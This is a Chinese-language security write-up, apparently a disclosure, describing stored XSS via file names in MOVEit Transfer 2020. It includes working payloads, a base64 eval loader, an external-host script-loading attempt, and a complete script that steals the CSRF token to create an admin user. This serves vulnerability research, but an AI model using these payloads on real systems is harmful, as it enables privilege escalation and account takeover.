在一次近期的Web应用测试中,其中一个在测应用是MOVEit Transfer 2020 Web应用。在执行评估时,发现了一个存储型跨站脚本(XSS)漏洞。本文将介绍发现并利用该漏洞以获得Web应用管理员权限的过程。
在测试应用中多个输入字段的输入验证时,发现一个特定的输入字段在提供某些载荷时会产生意外输出。这个输入字段是上传的文件名。上传具有特定文件名的文件后,发现当尝试下载该文件时,下载按钮不起任何作用。对此行为进行了调查,如下图所示,点击下载按钮时触发了JavaScript错误。

发现该错误后,分析了下载按钮背后的HTML代码。初步分析发现,文件名被包含在按钮的 onclick JavaScript函数中,且未经过当的清理,如下图所示。

基于这一观察,很明显可以注入JavaScript代码,一旦用户点击“下载”按钮,该代码就会执行。第一步是创建一个概念验证代码,通过 alert 函数触发JavaScript弹窗。考虑到代码的性质以及文件名被注入的位置,构造了以下载荷。该载荷将终止被调用的函数并附加一个新函数 alert(),随后跟一个伪函数以完成代码。
test", 382,"1234");alert("XSS");a("test
有了这个载荷,我们可以进行测试。我们可以上传一个文件,然后使用Burp Proxy拦截对服务器的上传请求,修改文件名并将请求转发到服务器。


文件上传后,我们现在可以通过点击文件名打开文件,然后点击“下载”按钮。这里我们可以看到XSS被触发,并弹出一个JavaScript警告框。

太棒了!所以我们能够执行任意JavaScript代码。还能做些什么?我们能否从中获得更多东西?
在审视了应用及其功能后,一个潜在的攻击向量是低级别用户试图提升权限以获得Web应用的管理员访问权限。
第一步是检查是否可以通过使用 XMLHttpRequest 通过JavaScript执行HTTP请求。在审查文件和文件夹名称的设置时,发现MOVEit不允许任何文件或文件夹名称中包含 / 或 \。因此这可能会阻止我们执行HTTP请求。另一个发现的限制是文件名长度限制为255个字符。
基于此分析,我们需要绕过几个限制。第一个限制是尝试寻找绕过 / 和 \ 字符限制的方法,并尝试包含托管在远程服务器上的JavaScript文件。为了绕过这个限制,我们可以将要执行的JavaScript代码编码为 base64 格式,然后在内存中解码并通过 eval 函数执行。以下代码片段正是实现这一功能。
t",1,"1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t
使用这段代码时,第一次尝试是注入一个 <script> 标签,并将其源设置为外部托管文件。下面的代码片段被base64编码,然后复制到上面的代码片段中。
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);
尝试时又出现了另一个问题——CSP。该Web应用使用了CSP,阻止了外部JavaScript文件的加载。


所以,我们不能加载外部文件,也不能包含超过255个字符的JS代码。现在该怎么办?我们可以尝试滥用MOVEit的功能,用它来托管我们的恶意JavaScript文件。
首先需要创建JavaScript代码,该代码将向负责在系统中添加新用户的页面发起 GET 请求,并从中提取CSRF令牌。然后该脚本需要执行 POST 请求以创建一个新管理员用户,包含请求中提取的CSRF令牌。下面是实现这一功能的代码片段。
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020
function r(){
alert(1);
var uri = "human.aspx?arg12=useradd";
xhr = new XMLHttpRequest();
xhr.open("GET", uri, false);
xhr.send(null)
if (xhr.status === 200)
{
responseBody = read_body(xhr);
firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
if (csrfToken){
var adduserUri = "/human.aspx";
var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
xhr2 = new XMLHttpRequest();
xhr2.open("POST", adduserUri, false);
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send(body);
}
}
}
function read_body(xhr) {
var data;
if (!xhr.responseType || xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else if (xhr.responseType === "json") {
data = xhr.responseJSON;
} else {
data = xhr.response;
}
return data;
}
上述JavaScript代码需要保存到一个文件中,然后上传到MOVEit。文件上传后,打开文件详情,并在使用Burp Proxy拦截Web请求时点击下载按钮。在Burp Proxy日志中应该有一条该文件的直接下载链接记录。该URL类似于:
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636
有了直接下载链接后,我们现在可以将其设置为包含在载荷中。下面的代码将创建一个script标签,并将源URL设置为直接下载链接,最后将script标签插入页面head标签中,并在 onload 时执行 r() 函数。
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);
下一步是将上面的代码片段进行base64编码:
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==
下一步是注入这个最终的XSS载荷。为此,上传一个文件,同时使用Burp Proxy拦截请求,并将上传的文件名修改为下面的XSS载荷。
t",1,"1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t
文件上传后,点击已上传的文件以打开详细信息,然后点击下载按钮以触发XSS并创建管理员用户。低级别用户可以设置此过程,如果上传的文件被管理员用户下载,那么低级别用户就可以诱使管理员无意中创建管理员账户。
时间线